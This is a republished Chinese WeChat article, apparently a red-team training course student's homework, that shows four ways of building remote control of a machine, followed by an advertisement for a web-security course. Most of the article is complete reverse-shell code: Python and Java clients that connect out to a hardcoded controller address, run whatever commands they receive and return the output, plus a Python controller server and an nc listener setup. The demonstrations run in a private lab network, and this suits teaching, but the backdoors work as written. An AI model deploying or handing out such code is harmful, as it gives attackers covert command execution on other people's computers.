实战多种方式实现远程控制
2022-1-28 11:54:55 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

文章来源|MS08067 红队培训班 第5期

本文作者:(红队培训班5期学员)

作业的思路是实现控制端(Server)对受控端(Client)的远程控制;在作业中,将以python代码 以及 java代码实现受控端、nc以及python代码实现控制端,尝试不同的远程方式。

本次作业 技术含量不高,主要是将重点放在远控方式的多样思路拓展上。作业能够入选离不开老师和班内大神的技术结晶共享,特此致谢。

将以4种方式展示远控过程:

简单多样远控实现
      
    Level 1: Client(python) + NC
         
Level 2: Client(python) + Server(python)
         
Level 3: Client(java) + NC
         
Level 4: Client(java) + Server(python)

   

Level 1: Client(python) + NC

Client代码:

import socketimport os
def Client(): # AF_INET表示使用IPV4协议,SOCK_STREAM表示使用TCP协议 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: # 控制端的IP以硬编码形式写在代码中,被控端将主动连接这个IP s.connect(("192.168.181.145",5551)) except Exception as e: print("server not found or closed") while True: #接收控制端的输入,1024表示1024个缓冲字节 command=s.recv(1024).decode() #这里注意exit后面要跟换行符,否则exit不会被匹配上,也会被当命令执行到受控端 if command.lower()=='exit\n': break else: # 执行控制端发来的命令,这里使用os.system()和subprocess.Popen也可以 result=os.popen(command,'r',1).read() try: # 将结果返回给控制端 s.send(result.encode("UTF-8")) except Exception as e: s.send("命令错误".encode("UTF-8")) s.close()
if __name__=='__main__': Client()

1.控制端(192.168.181.145)监听本地端口5551:

2.受控端(192.168.181.189)执行python代码:

3.控制端收到请求,输入一些命令:

4.可以看到受控端的信息同步,无法识别的信息会显示在窗口,可以看到此种方式还不能实现任意代码执行(比如创建文件):

Level 2: Client(python) + Server(python)

可以看到socket通信中,client和server各自的通信流程:

按照以上流程,可以写出Server(控制端)代码:

import socket
def Server(): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 绑定本机地址的5551端口 s.bind(("",5551)) # 允许最大连接数是3个 s.listen(3) # 等待受控端的连接请求 conn,addr=s.accept() #print("Connected by "+addr) while True: command=input("请输入命令\n") try:# print(command.encode()) # 向受控端发送指令 conn.sendall(command.encode()) # 接收回显并显示 result=conn.recv(1024) print(result.decode()) except Exception as e: print("发生异常") conn.close() s.close()
if __name__=='__main__': Server()

分别执行server.py和client.py,相较于nc的好处,可以实现更多指令的执行(touch指令):

控制端:


受控端:

Level 3: Client(java) + NC

代码参考老师课上写的,不过没有用到 ByteArrayToHexStr 和 HexStrToStr 两个方法,而是使用了Base64方法将接收的字节数组形式的数据 转换为字符串格式,这里参考了班里某位大神的思路

import java.io.BufferedReader;import java.io.DataOutputStream;import java.io.InputStream;import java.io.InputStreamReader;import java.net.Socket;import java.nio.charset.StandardCharsets;import java.util.Base64;
public class App { public static void main(String[] args) { try { // 建立socket连接 Socket socket = new Socket("192.168.181.189", 5678); while (true) { // 接收控制端的传输数据,以inputstream形式接收 InputStream inputStream = socket.getInputStream(); // byte by byte byte[] bytes = new byte[1]; String info = ""; while (true) { // 如果流里有东西 if (inputStream.available() > 0) { //,就读取信息,读到上面定义的bytes数组里面 inputStream.read(bytes); // 这里进行了修改,作用是将接收的字节数组形式的数据 转换为字符串格式,参考了班里大神的方法 String hexStr = Base64.getEncoder().encodeToString(bytes); byte[] decoded = Base64.getDecoder().decode(hexStr); // info就是接收到的 字符串形式的server传来的命令 info += new String(decoded);// String hexStr = ByteArrayToHexStr(bytes);// info += HexStrToStr(hexStr); // 如果流里的内容读取完毕了 if (inputStream.available() == 0) { //读取到的内容去除首位空格 info = info.trim(); //如果内容是一个exit就结束程序 if (info.equals("exit")) { return; } try { //命令执行 Process exec = Runtime.getRuntime().exec(info); // 读取回显内容 InputStream results = exec.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(results)); // 准备传回数据,创建了数据输出流dataOutputStream DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream()); String line; // 将返回结果后面加上换行符,避免与下一条用户命令在视觉上混淆 while ((line = reader.readLine()) != null) { dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8)); // 清空缓冲区 dataOutputStream.flush(); } exec.waitFor(); // 与python中的.close()作用相同 results.close(); reader.close(); exec.destroy(); break; } catch (Exception e) { continue; } finally { info = ""; } } } } } } catch (Exception e) { e.printStackTrace(); } }}

1.控制端监听端口,受控端执行java代码

2.可以看到回连成功,在控制端执行弹计算器指令:

受控端成功弹出计算器

Level 4: Client(java) + Server(python)

启动上述server(python):


启动上述受控端(java):

可以看出,仍然可以实现任意命令执行,网络通信是不区分编程语言的

不足与改进

时间有限,有几点亟需改进:

1.python代码中,对用户非法输入的处理机制欠优化

2.python代码中,输入无回显的指令(比如 calctouch )后,无法继续进行命令输入

Web安全漏洞挖掘班 第3期

1.29 开班倒计时~

第三期,主要突出了学员最关心的“实战打靶”练习,第三期我们新增加了快速打点方法+脚本思路、打靶机模拟实战等内容,并配备了专门的“实战靶场”以供同学们练习!

最新课程目录3.0版

*大纲仅作为参考,会根据当期进度有所变化(加客服获取高清课程导图)

课程费用

每期班定价2499新年价:1999报名送399元Web安全知识星球名额

每个报名学员都可享受一次后续任意一期课免费重听权益,一次没学懂就再来一遍,后续培训可任选一期来听。请有意参加培训的学员抓紧报名!

凡是MS08067旗下任意星球学员或其他培训课程学员,可享内部VIP价1799

支持支付宝、信用卡、花呗分期,对公转账,可开发票!

知识星球是什么

第二期班部分学员作业

上课时间

开课时间1月27号,每周二天课,共8周21节课(42小时)
周四:19:30-21:30
周六:14:00-18:00
如果无法准时参加直播课程,在线培训的每节课程都会被录制成视频上传到学员区,可随时下载观看。

上课方式

培训采用在线直播+随堂录播+配套教材+配套星球+课后作业的形式,无需等待,报名后立即进入“Web安全”星球开始预习。
 

    你距离大佬,只差一个决定       

报名咨询请联系小客服

扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部微信群永久有效!

 

 

来和5000+位同学一起加入星球学习吧!



文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247497842&idx=2&sn=5a25496d5432c8bd2b1ba4b312ab6a23&chksm=fc3c4173cb4bc8651b97db2c3701e2c0f843a51a28d49f2ab7fb0220b04bde57e26ab4e424b2#rd
如有侵权请联系:admin#unsafe.sh